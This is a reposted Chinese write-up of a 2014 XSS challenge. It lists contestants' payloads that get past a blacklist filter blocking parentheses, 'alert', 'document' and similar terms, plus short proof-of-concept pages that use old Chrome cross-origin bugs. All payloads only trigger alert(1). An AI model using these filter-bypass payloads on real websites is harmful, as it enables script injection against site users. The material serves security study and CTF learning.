XSS挑战第一期Writeup

转载

weixin_33790053 于 2018-03-08 10:47:29 发布 342 收藏
文章标签： javascript php ViewUI
原文链接：https://juejin.im/post/5aa114c16fb9a028de4448ca

> mramydnei · 2014/01/25 20:44

0x00 起因

这期 XSS 挑战的起因是在阅读“Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters”过后,在其中发现了一个很有趣的话题。那就是在圆括号被过滤的情况下,如何去执行javascript。在文中笔者给出来了这样的解决方案:

```
#!html
<a onmouseover="javascript:window.onerror=alert;throw 1>
复制代码
```

这是一个通过抛出异常的方式来执行 alert()的方案。那么,还有没有别的办法可以让我们在没有圆括号的情况下执行Javascript呢?众神们经常说,没有具体环境的讨论是没有意义的。所以我就花了一点时间,编写了一个基于黑名单的XSS防御代码。也就有了我们这次的挑战。

0x01 设定

为了增加一点挑战的难度,根据一些较常见的XSS防御代码,对本次挑战进行了下列设定:

过滤:

```
(,),&,\,<,>,',%28,%29,空格+on,alert,data,src,eval,unescape
innerHTML,document,appendChild,createElement,write,String,setTimeout
复制代码
```

当然,为了保证更多人可以参与进来,我并没有对最前面给出的答案进行过滤。

0x02 结果

在挑战开始不到三个小时的时间里,gainover拿下了这次挑战的First Blood。

```
"onblur=a="%2",location="javascript:aler"+"t"+a+"81"+a+"9
复制代码
```

巧妙的使用定义变量的方式,重新拆装了URL编码分别为:%28和%29的左右圆括号,进而绕过了我们的限制。随后又放弃了定义变量的方式,而直接选择了通过连接字符串的方式 来缩减payload的长度。

```
"onblur=location="javascript:aler"+"t%2"+"81%2"+"9
复制代码
```

紧随其后,又有第二位挑战成功者px1624,使用了和gainonver类似的方式,绕过了我们的过滤规则。当然,从上面的例子当中我们不难看出,此处的href是可以省略来简短长度的。

```
"onblur=location.href="JAvascript:ale"+"rt%2"+"81%2"+"9
复制代码
```

之后我们又从 gainver 收到了另一种绕过方式。

```
"onblur=top.onerror=top["ale"+"rt"];throw"1
复制代码
```

看上去和我们预留的答案大相径庭,但是也有它有趣的一部分。因为提交者在这里并没有使用较长的window而是使用了top,当然作为其它选项也可以使用parent或self。但是很明显top是最短的。如果不考虑触发难易性,也许我们可以把第一个onblur换成oncut,把第二个onerror换成onblur来进一步节约两个字节。(当然,我并不认为在任何情况下,短的就是好的。)在Chrome下先在input里面按一次ctrl+x,在通过点击地址栏或其它tab即可触发。

正在思考这个top的问题时,gainover又寄来了一种更有趣的绕过方式。

```
"onblur=outerHTML=URL//#<img/src=1 onerror=alert(1)>
复制代码
```

可能有些人看完之后会觉得是不是变长了呢?实际上#后面的部分是不会被算在QueryString里面的。所以这里的实际长度只有23。提交者巧妙的使用outerHTML的方式将整个URL都写入到了DOM。但是在这里不得不提的是,浏览器差异问题。虽然在Internet Explorer(IE8 下测试)和Chrome(最新版本)当中,这种方法都可以直接把URL写到DOM中,但是Firefox会将URL编码过的内容写入到DOM中,导致无法完成HTML注入。所以在实际的操作过程中,如果条件允许的话,可能需要我们调用一些可以对URL进行解码的JS函数,先对URL进行一次解码再写入到DOM中,进而提高payload的通用性。

随后gainover又再一次通过空格来代替注释符(//),为自己赢得了更短的代码。

```
"onblur=outerHTML=URL #<img/src=1 onerror=alert(1)>
复制代码
```

来自fangfei yang的答案:

```
"oncut=top.onerror%3Dtop["al"+"ert"];throw"1
复制代码
```

来自Chu的答案:

```
#!html
<iframe src="http://xss.z7ys.com/?xss="onblur="location=window.name&submit=搜索" name="javascript:alert(1)">
复制代码
```

这位挑战者通过window.name实现了iframe的跨域,并完成了挑战。类似的方法还有URL.hash window.postMessage等等。在后续出来类似的答案时将不在重复写iframe的部分。

来自 Dun 比较有趣的答案:

```
"onfocus=new%A1%A1window["al"+"ert"]
复制代码
```

在这里出现了一个小插曲,也是我的一个失误。因为两台服务器当中一台使用了utf-8编码,而另外一台又使用了GB2312编码。这位挑战者就在编码为GB2312的页面用了全角空 格(%A1%A1)。当然作为这个的替代品,还有%0B%0B。

之后Dun又使用了Chrome上一个版本的跨域漏洞,再次缩短了自己的payload长度。(因为chrome跨域漏洞的细节在很多地方都可以找到,我就不在这里造轮子了。)下面是他的POC:

```
#!html
<script> var dd=false; document.domain=""; </script>
<iframe id="xss"src="//xss.z7ys.com./?xss=%22onblur%3Ddomain%3D%22%22+&submit=%CB%D1%CB%F7"onload="dd=true;
<script>
function xssalert(){
if(dd){
var xssiframe=document.getElementById("xss").contentWindow;
xssiframe.document.write("<script>alert(1)<\/script>");
}};
</script>
复制代码
```

SqlCode的答案:

```
"oncut=_=window;_.onerror=_["al"+"ert"];throw[1]
复制代码
```

Laix的答案:

```
"oncut=location="javascript:aler"+"t%"+"281%"+"29
复制代码
```

Galaxy的答案:

```
"onblur=javascript:window.onblur=al%00ert;throw"1
复制代码
```

该挑战者使用绕过 IE8/IE9 filter 的一个技巧(%00),完成了挑战。

e3rp4y的答案:

```
"onfocus=window.onblur=top["aler"%2b"t"];throw"1
复制代码
```

来自0x00有趣的答案:

```
()&xss="onclick=a=location.search;location.href="javascript:a"+"lert"+a[1]+a[2]//
复制代码
```

把()作为参数放在问号的后面再用 location.search 调用了出来。

```
"onclick=a=location;b=a.hash;a.href="javascript:a"+"lert"+b[1]+b[2]//

"onclick=a=location;a.href="javascript:/*"+a.hash//#*/alert()

"onclick="location.href=window.name
复制代码
```

来自 litdg 的答案:

```
"/onblur=window.onerror=window["aler"+"t"];throw+1//
复制代码
```

来自过客的答案:

```
"onclick="location=top.a.name
复制代码
```

最后附上本次挑战的第一名获得者/fd 的一些答案:

```
<iframe name="javascript:alert(1)" src=//133.52.240.75/index.php?xss="autofocus/onfocus="location=self.name
复制代码
```

通过iframe的self.name实现了跨域。

```
#!html
<iframe height=500 src=//xss.z7ys.com/index.php?xss=%22ondrop%3Ddomain%3D%22com></iframe>
<script>
 document.domain = 'com';
 setInterval(function() {
  frames[0].alert && frames[0].alert(1);
 },100)
</script>
复制代码
```

chrome跨域漏洞+拖拽劫持(只附上了重要部分代码,效果见上图)。一个很用心的 POC。当我们试图把硬币投入下面的黑框时触发。

```
#!html
<iframe height=500 src=//xss.z7ys.com./index.php?xss=%22oncut%3Ddomain%3D%22></iframe>
<script>
 document.domain = '';
 setInterval(function() {
  frames[0].alert && frames[0].alert(1);
 },100)
</script>
复制代码
```

最后用旧版chrome的跨域漏洞(测试于Chromium 31.0.1650.8)以15个字符的成绩终结了比赛。

0x03 写在最后

因为个人经验和知识储备的不足,可能在挑战的设定和评判标准上面没能做的很完善。而且整个挑战也似乎从如何绕过圆括号的限制慢慢的演变成了 The short talk of XSS。也许有人会觉得这是造轮子吧。但是我相信在参与的过程当中,大家也和我一样或多或少都学到了一些什么。其实,在编写这篇文章的同时,我和我的小伙伴们(Laix,烟花兔子,Line)花费心思又搞了一个自认为比较有趣的XSS挑战。暂时就将它称作为XSS挑战第二期吧。希望到时候大家也能来玩玩!最后,谢谢/fd,LinE,瞌睡龙等人的乌云币赞助。

提供该程序PHP源代码供各位下载，自己搭建测试：index.php.zip